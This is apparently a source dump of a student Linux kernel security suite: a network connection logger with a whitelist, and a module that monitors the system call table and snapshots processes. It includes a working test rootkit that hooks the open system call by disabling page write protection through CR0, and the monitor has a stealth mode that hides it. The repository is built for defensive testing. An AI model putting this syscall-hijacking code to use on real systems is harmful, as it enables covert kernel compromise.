111 | {
112 | written = 0;
113 | }
114 | else if(buffer_length < procfs_buffer_size)
115 | {
116 | printk(KERN_ERR PROC_CONFIG_NAME ": Not large enought buffer to copy the procfs buffer\n");
117 | written = 0;
118 | }
119 | else
120 | {
121 | /* Trim the last comma, if exists */
122 |
123 | if(procfs_buffer[procfs_buffer_size - 1] == ',')
124 | {
125 | procfs_buffer_size--;
126 | procfs_buffer[procfs_buffer_size] = '\0';
127 | }
128 |
129 | written = snprintf(buffer, buffer_length, "%s\n", procfs_buffer);
130 | }
131 |
132 | return written;
133 | }
134 |
135 | int procfile_write(struct file *file, const char *buffer, unsigned long count, void *data)
136 | {
137 | procfs_buffer_size = count;
138 |
139 | if(procfs_buffer_size >= PROCFS_MAX_SIZE)
140 | {
141 | printk(KERN_ERR PROC_CONFIG_NAME ": There is no enought space in the procfs buffer, changes will be ignored\n");
142 |
143 | return -ENOSPC;
144 | }
145 |
146 | if(copy_from_user(procfs_buffer, buffer, procfs_buffer_size))
147 | {
148 | return -EFAULT;
149 | }
150 |
151 | procfs_buffer[procfs_buffer_size - 1] = '\0';
152 |
153 | update_whitelist();
154 |
155 | return count;
156 | }
157 |
158 | int create_proc_config(void)
159 | {
160 | netlog_config_proc_file = create_proc_entry(PROC_CONFIG_NAME, 0600, NULL);
161 |
162 | if(netlog_config_proc_file == NULL)
163 | {
164 | remove_proc_entry(PROC_CONFIG_NAME, NULL);
165 |
166 | return -CREATE_PROC_FAILED;
167 | }
168 |
169 | netlog_config_proc_file->read_proc = procfile_read;
170 | netlog_config_proc_file->write_proc = procfile_write;
171 | netlog_config_proc_file->mode = S_IFREG | S_IRUSR | S_IWUSR;
172 | netlog_config_proc_file->uid = 0;
173 | netlog_config_proc_file->gid = 0;
174 |
175 | initialize_procfs_buffer();
176 |
177 | return 0;
178 | }
179 |
180 | void destroy_proc_config(void)
181 | {
182 | if(netlog_config_proc_file != NULL)
183 | {
184 | remove_proc_entry(PROC_CONFIG_NAME, NULL);
185 | netlog_config_proc_file = NULL;
186 |
187 | initialize_procfs_buffer();
188 | }
189 | }
190 |
191 |
--------------------------------------------------------------------------------
/netlog/src/proc_config.h:
--------------------------------------------------------------------------------
1 | #ifndef __PROC_CONFIG__
2 | #define __PROC_CONFIG__
3 |
4 | #define PROCFS_MAX_SIZE 4096
5 | #define PROC_CONFIG_NAME "netlog-config"
6 |
7 | #define MAX_NEW_CONNECTION_SIZE 512
8 |
9 | #define CREATE_PROC_FAILED 5
10 |
11 | int create_proc_config(void);
12 |
13 | void destroy_proc_config(void);
14 |
15 | void add_connection_string_to_proc_config(const char *connection_string);
16 |
17 | #endif
18 |
--------------------------------------------------------------------------------
/netlog/src/whitelist.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include "whitelist.h"
8 | #include "connection.h"
9 | #include "proc_config.h"
10 |
11 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 25)
12 | #define call_d_path(file, buffer, length) d_path(file->f_dentry, file->f_vfsmnt, buffer, length);
13 | #else
14 | #define call_d_path(file, buffer, length) d_path(&file->f_path, buffer, length);
15 | #endif
16 |
17 | int size = 0;
18 | struct connection *white_list[MAX_WHITELIST_SIZE];
19 |
20 | unsigned long flags;
21 | DEFINE_SPINLOCK(access_whitelist_spinlock);
22 |
23 | int whitelist(const char *connection_string)
24 | {
25 | int i;
26 | struct connection *connection_to_whitelist;
27 |
28 | spin_lock_irqsave(&access_whitelist_spinlock, flags);
29 |
30 | if(size == MAX_WHITELIST_SIZE)
31 | {
32 | /*List is full, cannot whitelist more processes*/
33 |
34 | goto out_fail;
35 | }
36 |
37 | connection_to_whitelist = initialize_connection_from_string(connection_string);
38 |
39 | if(connection_to_whitelist == NULL)
40 | {
41 | goto out_fail;
42 | }
43 |
44 | /*Check if it's already whitelisted*/
45 |
46 | for(i = 0; i < size; ++i)
47 | {
48 | if(connections_are_equal(connection_to_whitelist, white_list[i]))
49 | {
50 | /*Already whitelisted*/
51 |
52 | goto out_fail;
53 | }
54 | }
55 |
56 | white_list[size] = connection_to_whitelist;
57 | ++size;
58 |
59 | /* Update the proc configuration buffer */
60 |
61 | add_connection_string_to_proc_config(connection_string);
62 |
63 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags);
64 |
65 | return WHITELISTED;
66 | out_fail:
67 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags);
68 |
69 | return WHITELIST_FAIL;
70 | }
71 |
72 | int is_whitelisted(const struct task_struct *task, const char *ip, const int port)
73 | {
74 | int i;
75 | unsigned int path_length;
76 | char *path, buffer[MAX_ABSOLUTE_EXEC_PATH + 1] = {'\0'};
77 |
78 | if(unlikely(task == NULL) || unlikely(task->mm == NULL))
79 | {
80 | goto not_whitelisted;
81 | }
82 |
83 | /*Retrieve the absolute execution path of the process*/
84 |
85 | path = exe_from_mm(task->mm, buffer, MAX_ABSOLUTE_EXEC_PATH);
86 |
87 | if(unlikely(path == NULL))
88 | {
89 | goto not_whitelisted;
90 | }
91 |
92 | path_length = strnlen(path, MAX_ABSOLUTE_EXEC_PATH);
93 |
94 | if(unlikely(path_length == 0) || unlikely(path_length == MAX_ABSOLUTE_EXEC_PATH))
95 | {
96 | /*Empty or paths greater than our limit are not whitelisted*/
97 |
98 | goto not_whitelisted;
99 | }
100 |
101 | /*Check if the execution path and the ip and port are whitelisted*/
102 |
103 | spin_lock_irqsave(&access_whitelist_spinlock, flags);
104 |
105 | for(i = 0; i < size; ++i)
106 | {
107 | if(connection_matches_attributes(white_list[i], path, ip, port))
108 | {
109 | /*Connection found in the whitelist*/
110 |
111 | goto whitelisted;
112 | }
113 | }
114 |
115 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags);
116 |
117 | not_whitelisted:
118 | return NOT_WHITELISTED;
119 | whitelisted:
120 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags);
121 |
122 | return WHITELISTED;
123 | }
124 |
125 | void destroy_whitelist(void)
126 | {
127 | int i;
128 |
129 | spin_lock_irqsave(&access_whitelist_spinlock, flags);
130 |
131 | for(i = 0; i < size; ++i)
132 | {
133 | destroy_connection(white_list[i]);
134 | }
135 |
136 | size = 0;
137 |
138 | spin_unlock_irqrestore(&access_whitelist_spinlock, flags);
139 | }
140 |
141 | char *exe_from_mm(const struct mm_struct *mm, char *buffer, int length)
142 | {
143 | char *p = NULL;
144 | struct vm_area_struct *vma;
145 |
146 | if(unlikely(mm == NULL))
147 | {
148 | return NULL;
149 | }
150 |
151 | vma = mm->mmap;
152 |
153 | while(vma)
154 | {
155 | if((vma->vm_flags & VM_EXECUTABLE) && vma->vm_file)
156 | {
157 | break;
158 | }
159 |
160 | vma = vma->vm_next;
161 | }
162 |
163 | if(vma && vma->vm_file)
164 | {
165 | p = call_d_path(vma->vm_file, buffer, length);
166 |
167 | if(IS_ERR(p))
168 | {
169 | p = NULL;
170 | }
171 | }
172 |
173 | return p;
174 | }
175 |
176 |
--------------------------------------------------------------------------------
/netlog/src/whitelist.h:
--------------------------------------------------------------------------------
1 | #ifndef __WHITELIST__
2 | #define __WHITELIST__
3 |
4 | #define WHITELIST_FAIL -1
5 |
6 | #define WHITELISTED 1
7 | #define NOT_WHITELISTED 0
8 |
9 | /*The maximum lenght of the whitelisted paths. Any path
10 | *with lenght greater than this, cannot be whitelisted.
11 | */
12 |
13 | #define MAX_ABSOLUTE_EXEC_PATH 950
14 |
15 | /*The number of maximum whitelisted processes*/
16 |
17 | #define MAX_WHITELIST_SIZE 150
18 |
19 | struct task_struct;
20 |
21 | int whitelist(const char *connection_string);
22 |
23 | int is_whitelisted(const struct task_struct *task, const char *ip, const int port);
24 |
25 | void destroy_whitelist(void);
26 |
27 | char *exe_from_mm(const struct mm_struct *mm, char *buf, int len);
28 |
29 | #endif
30 |
31 |
--------------------------------------------------------------------------------
/readme.markdown:
--------------------------------------------------------------------------------
1 | # Linux Kernel Security Suite
2 |
3 | [](https://gitter.im/PanosSakkos/linux-kernel-security-suite?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
4 |
5 | A collection of three tools that are designed to protect linux from rootkits.
6 |
7 | ## The Drip Dry Carbonite
8 |
9 | Protects the system call table, by monitoring it.
10 | In case of an attempt of modifying the system call table, it will get a snapshot of the processes running in the system and freeze the machine.
11 |
12 | ## Dresden
13 |
14 | Dresden blocks all the attempts to insert modules in the kernel. In case of attempting to insert a module, apart from blocking it, it will dump its instruction memory and log a warning message.
15 |
16 | ## Netlog
17 |
18 | Logs all network communication by probing the inet stack of the kernel.
19 |
20 | # Supporting the repo
21 |
22 | In case you want to support the development, feel free to send a few bits here 17U479M6uMfsqh7vP2ZMKr62pNVjvCNxvu
23 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/.gitignore:
--------------------------------------------------------------------------------
1 | #gedit backups
2 | *~
3 |
4 | #binary of the user space tool
5 | trigger-carbonite
6 |
7 | # Vi swap files
8 | .*.swp
9 |
10 | *.tgz
11 | *.tar.gz
12 | *.rpm
13 |
14 | .*
15 | !.gitignore
16 | *.o
17 | *.o.*
18 | *.ko
19 | *.ko.*
20 | *.mod.c
21 | *.order
22 | Module.symvers
23 | Module.markers
24 | rpms
25 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/LICENSE:
--------------------------------------------------------------------------------
1 | Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
2 | by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
3 | a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
4 | some modern security mechanisms.
5 | Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
6 |
7 | Copyright (C) 2013 Panos Sakkos
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/docs/README:
--------------------------------------------------------------------------------
1 | Ckick the document that you want to read and then click "view raw".
2 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/docs/jones2.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/le4ker/linux-kernel-security-suite/8c1c599ca32d164a577698834eb2949f6ce85935/the-drip-dry-carbonite/docs/jones2.pdf
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/docs/presentation.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/le4ker/linux-kernel-security-suite/8c1c599ca32d164a577698834eb2949f6ce85935/the-drip-dry-carbonite/docs/presentation.pdf
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/readme.markdown:
--------------------------------------------------------------------------------
1 | The Drip Dry Carbonite
2 | ======================
3 |
4 | Description
5 | -----------
6 |
7 | Security extensions for the linux kernel, as described in "FORENSICS: Loadable Kernel Modules"
8 | article, by Keith J. Jones at the MAGAZINE OF USENIX & SAGE. The current project merges the 2
9 | suggested tools in a kernel module that is compatible with the modern versions of the linux kernel
10 | and will also incorporates some modern security mechanisms.
11 |
12 | Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
13 |
14 | ### Monitoring integrity of the system call table
15 |
16 | the-drip-dry-carbonite registers timer interrupts in order to verify the integrity of the
17 | system call table and gets notified after a module event in order to monitor the system call table
18 | after an insertion of a kernel module. The interval between the interrupts can be specified as a
19 | parameter of the module and the default value is every second. If a change in the hash of the system
20 | call table is detected, a critical log will be logged and carbonite functionality will be triggered.
21 |
22 | #### Tuning the monitoring
23 |
24 | You can set the interval between the monitoring of the hash of the system call table, by setting the
25 | sys_call_table_check_interval parameter while inserting the module. Default value is every 1 second.
26 |
27 | You can also disable the monitoring of the system call table, by the setting sys_call_table_monitoring
28 | parameter of the module to 0. Default value is to monitor the system call table.
29 |
30 | ### Carbonite
31 |
32 | By executing trigger-carbonite you will command the kernel module to freeze the system and take
33 | a snapshot of each process. Then you will be able to see the snapshot by reading the
34 | /proc/the-drip-dry-carbonite-dump file. Carbonite functionality should be used by a system administrator,
35 | in order to dump the state of the system and perform forensics on this data.
36 | The carbonite symbol is exported in order to be used by other kernel modules, i.e. by security modules that
37 | detected an incident and they want to get a dump of the system's processes.
38 |
39 | #### Remote logging
40 |
41 | You can enable remote logging in order to instruct the-drip-dry-carbonite to send a backup of its carbonite logs to
42 | a syslog server. In order to enable the remote logging, you need to specify the IP address of the syslog server as a
43 | parameter (remote_log_ip) to the module while inserting it.
44 |
45 | #### Stealth mode
46 |
47 | By default the-drip-dry-carbonite is hidden from the kernel and it cannot be removed. In order to disable this behaviour
48 | load the module with parameter "stealth" set to 0.
49 |
50 | #### Dumped data
51 |
52 | The dumped data of the processes are the pid, uid, gid, state, name and start time (in epoch) of each process.
53 |
54 | ##### Sample dump
55 |
56 | ![carbonite dump] (https://dl.dropbox.com/u/8522559/carb.png "sample carbonite dump")
57 |
58 | #### Demo
59 |
60 | http://www.youtube.com/watch?v=EmklHQn20ZM
61 |
62 | Installation
63 | ------------
64 |
65 | Execute the install script, found under the utils directory. The script will compile the
66 | user-space tool (trigger-carbonite) and the kernel module. Then it will insert the kernel module
67 | in the kernel and will place the trigger-carbonite executable under /bin and /usr/bin directories.
68 | In order to uninstall carbonite, run uninstall script (under utils directory) as root.
69 |
70 | Supported kernel versions
71 | -------------------------
72 | 2.6.32 and later
73 |
74 | Kernels tested against
75 | ----------------------
76 |
77 | 2.6.32-279.14.1.el6.x86_64
78 | 3.4.2-4.fc17.x86_64
79 |
80 | Version log
81 | -----------
82 |
83 | #### 1.4.2
84 | Added notifier handler after a module event
85 |
86 | #### 1.3.2
87 | Added Stealth mode
88 |
89 | ##### 1.2.2
90 | Added remote logging and fixed several bugs
91 |
92 | ##### 1.1.1
93 | Added uninstall script
94 |
95 | ##### 1.0.1
96 | Fixed bug where the incident handler was dispatched during the first check of the system call table
97 |
98 | ##### 1.0
99 | First version completed
100 |
101 | Future Work
102 | -----------
103 |
104 | ##### Dump more process information
105 | Enviroment variables, arguments, open files, executable
106 |
107 | ##### Reveal (explicitly) hidden processes
108 |
109 | ### License
110 |
111 | Security extensions for the linux kernel, as described in "FORENSICS: Loadable Kernel Modules"
112 | article, by Keith J. Jones at the MAGAZINE OF USENIX & SAGE. The current project merges the 2
113 | suggested tools in a kernel module that is compatible with the modern versions of the linux kernel
114 | and will also incorporates some modern security mechanisms.
115 |
116 | Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
117 |
118 | Copyright (C) 2013 Panos Sakkos
119 |
120 | This program is free software: you can redistribute it and/or modify
121 | it under the terms of the GNU General Public License as published by
122 | the Free Software Foundation, either version 3 of the License, or
123 | (at your option) any later version.
124 |
125 | This program is distributed in the hope that it will be useful,
126 | but WITHOUT ANY WARRANTY; without even the implied warranty of
127 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
128 | GNU General Public License for more details.
129 |
130 | You should have received a copy of the GNU General Public License
131 | along with this program. If not, see .
132 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/Makefile:
--------------------------------------------------------------------------------
1 | #
2 | # Variables needed to build the kernel module
3 | #
4 | name = the-drip-dry-carbonite
5 | src_files = carbonite.c command-chrdev.c super-fast-hash.c sys-call-table-integrity-check.c proc-entry.c task-dump.c task-dump-list.c task-dump-seq-file.c task-utils.c my-kallsyms.c logger.c
6 |
7 | obj-m += $(name).o
8 | $(name)-objs := $(src_files:.c=.o)
9 |
10 | all: clean build
11 |
12 | .PHONY: build install clean
13 |
14 | build: clean
15 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules CONFIG_DEBUG_SECTION_MISMATCH=y
16 |
17 | install: build
18 | -mkdir -p /lib/modules/`uname -r`/kernel/arch/x86/kernel/
19 | cp $(name).ko /lib/modules/`uname -r`/kernel/arch/x86/kernel/
20 | depmod /lib/modules/`uname -r`/kernel/arch/x86/kernel/$(name).ko
21 |
22 | clean:
23 | [ -d /lib/modules/$(shell uname -r)/build ] && \
24 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
25 |
26 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/Makefile:
--------------------------------------------------------------------------------
1 | obj-m := hijacker.o
2 | hijacker-objs := sys-call-table-hijacker.o my-kallsyms.o
3 |
4 | all: clean
5 | $(MAKE) -C /lib/modules/`uname -r`/build M=`pwd` modules
6 | clean:
7 | $(MAKE) -C /lib/modules/`uname -r`/build M=`pwd` clean
8 | $(RM) Module.markers modules.order
9 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/README.md:
--------------------------------------------------------------------------------
1 | sys-call-table-hijacker
2 | =======================
3 |
4 | Description
5 | -----------
6 |
7 | A simple rootkit that hijacks the open system call and replaces it
8 | with one that has implemented itself. This is a "dummy" open that simply
9 | calls the original. Interesting part of this source is the bypassing of the
10 | page protection, by setting the 16-th bit of Control Register 0.
11 |
12 | USE THIS WORK ONLY FOR TESTING SOFTWARE WITH WHITE PURPOSES
13 |
14 | Compilation and insertion of the module
15 | ---------------------------------------
16 |
17 | In the src directory run `make` and then `insmod ./hijacker.ko`, as root.
18 |
19 | Supported kernel versions
20 | -------------------------
21 | 2.6.32 and later
22 |
23 | Kernels Tested against
24 | ----------------------
25 |
26 | 2.6.32-279.14.1.el6.x86_64
27 | 3.4.2-4.fc17.x86_64
28 |
29 | ### License
30 |
31 | Security extensions for the linux kernel, as described in "FORENSICS: Loadable Kernel Modules"
32 | article, by Keith J. Jones at the MAGAZINE OF USENIX & SAGE. The current project merges the 2
33 | suggested tools in a kernel module that is compatible with the modern versions of the linux kernel
34 | and will also incorporates some modern security mechanisms.
35 |
36 | Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
37 |
38 | Copyright (C) 2013 Panos Sakkos
39 |
40 | This program is free software: you can redistribute it and/or modify
41 | it under the terms of the GNU General Public License as published by
42 | the Free Software Foundation, either version 3 of the License, or
43 | (at your option) any later version.
44 |
45 | This program is distributed in the hope that it will be useful,
46 | but WITHOUT ANY WARRANTY; without even the implied warranty of
47 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
48 | GNU General Public License for more details.
49 |
50 | You should have received a copy of the GNU General Public License
51 | along with this program. If not, see .
52 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/my-kallsyms.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include "my-kallsyms.h"
25 | #include
26 | #include
27 | #include
28 | #include
29 |
30 | unsigned long target_address;
31 |
32 | int find(void *data, const char *name, struct module *module, unsigned long address)
33 | {
34 | char *target_name = (char *) data;
35 |
36 | if(!strncmp(target_name, name, KSYM_NAME_LEN))
37 | {
38 | target_address = address;
39 | return 1;
40 | }
41 |
42 | return 0;
43 | }
44 |
45 | int return_next_symbol;
46 |
47 | int find_next(void *data, const char *name, struct module *module, unsigned long address)
48 | {
49 | unsigned long target = * (unsigned long *) data;
50 |
51 | if(target == address)
52 | {
53 | return_next_symbol = 1;
54 | return 0;
55 | }
56 |
57 | if(return_next_symbol)
58 | {
59 | target_address = address;
60 | return 1;
61 | }
62 |
63 | return 0;
64 | }
65 |
66 | unsigned long find_next_symbol(unsigned long target_symbol)
67 | {
68 | target_address = 0;
69 | return_next_symbol = 0;
70 |
71 | kallsyms_on_each_symbol(&find_next, (void *) &target_symbol);
72 |
73 | return target_address;
74 | }
75 |
76 | unsigned long my_kallsyms_lookup_name(const char *name)
77 | {
78 | #if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 32)
79 | target_address = 0;
80 |
81 | kallsyms_on_each_symbol(&find, (void *) name);
82 |
83 | return target_address;
84 | #else
85 | return kallsyms_lookup_name(name);
86 | #endif
87 | }
88 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/my-kallsyms.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef __MY_KALLSYMS__
25 | #define __MY_KALLSYMS__
26 |
27 | unsigned long my_kallsyms_lookup_name(const char *name);
28 |
29 | unsigned long find_next_symbol(unsigned long target_symbol);
30 |
31 | #endif
32 |
33 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/attacks/sys-call-table-hijacker/sys-call-table-hijacker.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include
25 | #include
26 | #include
27 | #include "my-kallsyms.h"
28 |
29 | #define SYMBOL_NOT_FOUND -1
30 | #define MODULE_NAME "sys-call-table-hijacker"
31 |
32 | void **sys_call_table;
33 |
34 | asmlinkage int (*original_call) (const char*, int, int) = NULL;
35 |
36 | /* Enable/Disable page protection. We need it in order to write the sys_call_table*/
37 |
38 | static void disable_page_protection(void)
39 | {
40 | unsigned long cr0 = read_cr0();
41 |
42 | cr0 &= ~ (1 << 16);
43 | write_cr0(cr0);
44 | }
45 |
46 | static void enable_page_protection(void)
47 | {
48 | unsigned long cr0 = read_cr0();
49 |
50 | cr0 |= (1 << 16);
51 | write_cr0(cr0);
52 | }
53 |
54 | static asmlinkage int hijacker_sys_open(const char* file, int flags, int mode)
55 | {
56 | printk(MODULE_NAME ": PWNED\n");
57 |
58 | return original_call(file, flags, mode);
59 | }
60 |
61 | int __init hijack(void)
62 | {
63 | sys_call_table = (void *) my_kallsyms_lookup_name("sys_call_table");
64 |
65 | if(sys_call_table == NULL)
66 | {
67 | printk(MODULE_NAME ":\t[-] sys_call_table symbol not found\n");
68 | return SYMBOL_NOT_FOUND;
69 | }
70 |
71 | original_call = sys_call_table[__NR_open];
72 |
73 | disable_page_protection();
74 | sys_call_table[__NR_open] = hijacker_sys_open;
75 | enable_page_protection();
76 |
77 | printk(MODULE_NAME ":\t[+] Injected sys_open\n");
78 |
79 | return 0;
80 | }
81 |
82 | void __exit cleanup(void)
83 | {
84 | printk(MODULE_NAME ":\t[+] Cleaning up\n");
85 |
86 | disable_page_protection();
87 | sys_call_table[__NR_open] = original_call;
88 | enable_page_protection();
89 |
90 | return;
91 | }
92 |
93 | module_init(hijack);
94 | module_exit(cleanup);
95 |
96 | MODULE_LICENSE("GPL");
97 | MODULE_AUTHOR("Panos Sakkos ");
98 | MODULE_DESCRIPTION("Hijacks the open system call. Use for testing white software only\n");
99 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/carbonite.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include "carbonite.h"
30 | #include "command-chrdev.h"
31 | #include "sys-call-table-integrity-check.h"
32 | #include "task-dump.h"
33 | #include "logger.h"
34 | #include "carbonite.h"
35 |
36 | unsigned int sys_call_table_check_interval = 1000;
37 | module_param(sys_call_table_check_interval, uint, 0000);
38 | MODULE_PARM_DESC(sys_call_table_check_interval, "The interval (in milliseconds) between the checks of the system call table's integrity.\n"
39 | "\t\tDefault value is 1000 (1 second)");
40 |
41 | unsigned int sys_call_table_monitoring = 1;
42 | module_param(sys_call_table_monitoring, int, 0000);
43 | MODULE_PARM_DESC(sys_call_table_monitoring, "Variable to designate wether to monitor or not the integrity of the system call table.\n"
44 | " \t\tDefault is to monitor (1), set to 0 to skip integrity check");
45 |
46 | char *remote_log_ip = NULL;
47 | module_param(remote_log_ip, charp, 0000);
48 | MODULE_PARM_DESC(remote_log_ip, "IPv4 address for remote syslog server. If not set, remote logging will be disabled.\n");
49 |
50 | unsigned int stealth = 1;
51 | module_param(stealth, int, 0000);
52 | MODULE_PARM_DESC(stealth, "Switch \"Stealth mode\" off, by setting to 0.\n");
53 |
54 | int previous_reason = NONE;
55 |
56 | void print_dispatch_reason(int why)
57 | {
58 | switch(why)
59 | {
60 | case AFTER_INCIDENT:
61 |
62 | print_log(KERN_INFO MODULE_NAME ":\t[+] Triggering carbonite after detected incident\n");
63 |
64 | break;
65 | case AFTER_MODULE_INIT:
66 |
67 | print_log(KERN_INFO MODULE_NAME ":\t[+] Triggering carbonite after module initialization\n");
68 |
69 | break;
70 | case ON_DEMAND:
71 |
72 | print_log(KERN_INFO MODULE_NAME ":\t[+] Triggering carbonite from trigger-carbonite\n");
73 |
74 | break;
75 | default:
76 | print_log(KERN_ERR MODULE_NAME ":\t[-] Unknown reason of carbonite dispatch\n");
77 | }
78 | }
79 |
80 | void carbonite(int why)
81 | {
82 | int ret;
83 | unsigned long flags;
84 | struct task_struct *task;
85 | DEFINE_SPINLOCK(carbonite_spinlock);
86 |
87 | if(previous_reason == AFTER_MODULE_INIT && why == AFTER_INCIDENT)
88 | {
89 | /* Don't trigger carbonite twice for an attacking module,
90 | * because the snapshot of the processes will not be accurate.
91 | */
92 |
93 | previous_reason = why;
94 |
95 | return;
96 | }
97 |
98 | print_dispatch_reason(why);
99 |
100 | /* Stop the world */
101 |
102 | spin_lock_irqsave(&carbonite_spinlock, flags);
103 |
104 | for_each_process(task)
105 | {
106 | ret = dump_task(task);
107 |
108 | if(!ret)
109 | {
110 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to dump %s task with PID %d\n", task->comm, task->pid);
111 | }
112 | }
113 |
114 | spin_unlock_irqrestore(&carbonite_spinlock, flags);
115 |
116 | previous_reason = why;
117 | }
118 | EXPORT_SYMBOL(carbonite);
119 |
120 | int __init carbonite_init(void)
121 | {
122 | int ret;
123 |
124 | print_log(KERN_INFO MODULE_NAME ": Security extension for the linux kernel by Panos Sakkos \n");
125 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initializing\n");
126 |
127 | ret = init_command_chrdev(MODULE_NAME, &carbonite);
128 |
129 | if(ret)
130 | {
131 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initiliazed command character device\n");
132 | }
133 | else
134 | {
135 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to initialize command character device\n");
136 |
137 | return -ECHARDEV;
138 | }
139 |
